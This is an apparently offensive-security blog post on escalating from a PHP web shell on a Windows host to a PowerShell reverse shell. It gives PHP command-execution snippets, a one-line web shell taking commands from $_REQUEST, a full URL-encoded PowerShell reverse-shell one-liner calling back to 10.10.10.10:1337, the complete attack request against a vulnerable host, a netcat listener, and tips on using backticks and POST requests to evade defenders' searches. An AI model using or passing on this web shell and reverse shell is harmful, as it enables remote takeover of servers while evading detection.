Day 75: From PHP (s)HELL to Powershell Heaven

Diddy Doodat
4 min readMar 15, 2019

This one is short but sweet. Some people use PHP on Windows hosts, don’t ask me why, I find this odd but that might be because I grew up with PHP running on Linux based Apache, more recently (if I really have to) then php-fpm with NGINX. Anyway, I digress…

You may encounter these nutters, especially ones who expose vulnerable PHP apps (they are everywhere) so with that in mind we need a way to go from a pseudo-web-based PHP shell to something native that allows us much more freedom and control.

Lucky for us one command to your PHP web shell is all it takes!

The Shell

Something simple will do, I tend to either use shell_exec() or system() but you can try the others, they work but check out the docs first.

The system() Function

The system function in PHP takes a string argument with the command to execute as well as any arguments you wish passed to that command. This function executes the specified command and dumps any resulting text to the output stream (either the HTTP output in a web server situation or the console if you are running PHP as a command line tool). The return of this function is the last line of output from the program if it emits text output.

<?php system("dir"); ?>

The exec() Function

The system function is quite useful and powerful, but one of the biggest problems with it is that all resulting text from the program goes directly to the output stream. There will be situations where you might like to format the resulting text and display it in some different way, or not display it at all.

For this, the exec function in PHP is perfectly adapted. Instead of automatically dumping all text generated by the program being executed to the output stream, it gives you the opportunity to put this text in an array returned in the second parameter to the function:

<?php exec("ls -la",$array); print_r($array); ?>

The shell_exec() Function

Most of the programs we have been executing thus far have been, more or less, real programs1. However, the environment in which Windows and Unix users operate is actually much richer than this. Windows users have the option of using the Windows Command Prompt program, cmd.exe This program is known as a command shell.

<?php echo shell_exec(“ls -la“); ?>

The passthru() Function

One fascinating function that PHP provides similar to those we have seen so far is the passthru function. This function, like the others, executes the program you tell it to. However, it then proceeds to immediately send the raw output from this program to the output stream with which PHP is currently working (i.e. either HTTP in a web server scenario, or the shell in a command line version of PHP).

<?php passthru(“ls -la“); ?>

The proc_open() Function and popen() Function

proc_open() is similar to popen() but provides a much greater degree of control over the program execution. cmd is the command to be executed by the shell. descriptors per is an indexed array where the key represents the descriptor number and the value represents how PHP will pass that descriptor to the child process. pipes will be set to an indexed array of file pointers that correspond to PHP’s end of any pipes that are created. The return value is a resource representing the process; you should free it using proc_close() when you are finished with it.

Backticks

Surprisingly, not many PHP developers are aware of this, however, PHP will execute the contents of backticks ( ` ) as a shell command.

<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>

The beauty of this is that any sysadmin or SOC analyst will look for things like system(), shell_exec() etc. What can you search here that would not throw up hundreds of false positives?

Final Delivery and Upgrade to Powershell

All we need to do is url encode our Powershell reverse shell one-liner and make a get request to our shell script.

Powershell Reverse Shell One-Liner

Final Encoded Command

powershell%20-nop%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient(%2710.10.10.10%27%2C1337)%3B%24stream%20%3D%20%24client.GetStream()%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile((%24i%20%3D%20%24stream.Read(%24bytes%2C%200%2C%20%24bytes.Length))%20-ne%200)%7B%3B%24data%20%3D%20(New-Object%20-TypeName%20System.Text.ASCIIEncoding).GetString(%24bytes%2C0%2C%20%24i)%3B%24sendback%20%3D%20(iex%20%24data%202%3E%261%20%7C%20Out-String%20)%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20(pwd).Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20(%5Btext.encoding%5D%3A%3AASCII).GetBytes(%24sendback2)%3B%24stream.Write(%24sendbyte%2C0%2C%24sendbyte.Length)%3B%24stream.Flush()%7D%3B%24client.Close()%22%0A

Final Request

http://vulnerable.com/shell.php?cmd=powershell%20-nop%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient(%2710.10.10.10%27%2C1337)%3B%24stream%20%3D%20%24client.GetStream()%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile((%24i%20%3D%20%24stream.Read(%24bytes%2C%200%2C%20%24bytes.Length))%20-ne%200)%7B%3B%24data%20%3D%20(New-Object%20-TypeName%20System.Text.ASCIIEncoding).GetString(%24bytes%2C0%2C%20%24i)%3B%24sendback%20%3D%20(iex%20%24data%202%3E%261%20%7C%20Out-String%20)%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20(pwd).Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20(%5Btext.encoding%5D%3A%3AASCII).GetBytes(%24sendback2)%3B%24stream.Write(%24sendbyte%2C0%2C%24sendbyte.Length)%3B%24stream.Flush()%7D%3B%24client.Close()%22%0A

Be More Covert

POST requests are more covert and fly under the radar, especially with SSL nearly always so you can change your PHP shell to process both GET and POST requests.

To do this, use the PHP $_REQUEST variable.

$_REQUEST is an associative array that by default contains the contents of $_GET, $_POST and $_COOKIE.

<?php system($_REQUEST[‘cmd’]);?>

Don’t Forget to Catch the Shell!

user@box$ nc -lvnp 1337

--

--